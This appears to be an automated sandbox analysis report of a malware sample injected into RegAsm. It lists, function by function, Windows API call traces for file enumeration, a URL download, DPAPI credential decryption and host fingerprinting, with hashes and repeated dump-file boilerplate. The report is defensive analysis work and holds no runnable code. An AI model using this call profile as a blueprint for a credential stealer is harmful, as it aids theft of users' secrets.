Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT(00000000,?,00000001), ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 0040E270 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

\*.*, xrefs: 0040E28D
.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$\*.*
API String ID: 433455689-1178718010
Opcode ID: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00401710 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042500C,?,00401F6C,?,004250B4,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,0042515C), ref: 004019B3
StrCmpCA.SHLWAPI(?,00425204), ref: 004019C9
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: \*.*
API String ID: 3334442632-1173974218
Opcode ID: 959a32809bf77ea7535e4eb5a7c8f0c0158707e5fef3a1c1b2c232c917b5d36d
Instruction ID: 7f74e4117e18f221836cc8dfa6e9da0cbfb987b90413c5c57b10598df2daaecd
Opcode Fuzzy Hash: 959a32809bf77ea7535e4eb5a7c8f0c0158707e5fef3a1c1b2c232c917b5d36d
Instruction Fuzzy Hash: C2123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205A7), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

CloseHandle.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT(?,?,?), ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01102D90,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01102D90,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01102D90,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,010FF6D8), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,011031B8), ref: 0040796B
lstrcat.KERNEL32(?,01103200), ref: 0040797F
lstrcat.KERNEL32(?,011032D8), ref: 00407992
lstrcat.KERNEL32(?,01103038), ref: 004079A6
lstrcat.KERNEL32(?,010FF760), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,011031B8), ref: 00407A09
lstrcat.KERNEL32(?,01103200), ref: 00407A1D
lstrcat.KERNEL32(?,011032D8), ref: 00407A31
lstrcat.KERNEL32(?,01103038), ref: 00407A44
lstrcat.KERNEL32(?,011037E0), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,011031B8), ref: 00407AA8
lstrcat.KERNEL32(?,01103200), ref: 00407ABB
lstrcat.KERNEL32(?,011032D8), ref: 00407ACF
lstrcat.KERNEL32(?,01103038), ref: 00407AE3
lstrcat.KERNEL32(?,01103848), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,011031B8), ref: 00407B46
lstrcat.KERNEL32(?,01103200), ref: 00407B5A
lstrcat.KERNEL32(?,011032D8), ref: 00407B6D
lstrcat.KERNEL32(?,01103038), ref: 00407B81
lstrcat.KERNEL32(?,011038B0), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,011031B8), ref: 00407BE4
lstrcat.KERNEL32(?,01103200), ref: 00407BF8
lstrcat.KERNEL32(?,011032D8), ref: 00407C0C
lstrcat.KERNEL32(?,01103038), ref: 00407C1F
lstrcat.KERNEL32(?,01103918), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,011031B8), ref: 00407C83
lstrcat.KERNEL32(?,01103200), ref: 00407C96
lstrcat.KERNEL32(?,011032D8), ref: 00407CAA
lstrcat.KERNEL32(?,01103038), ref: 00407CBE

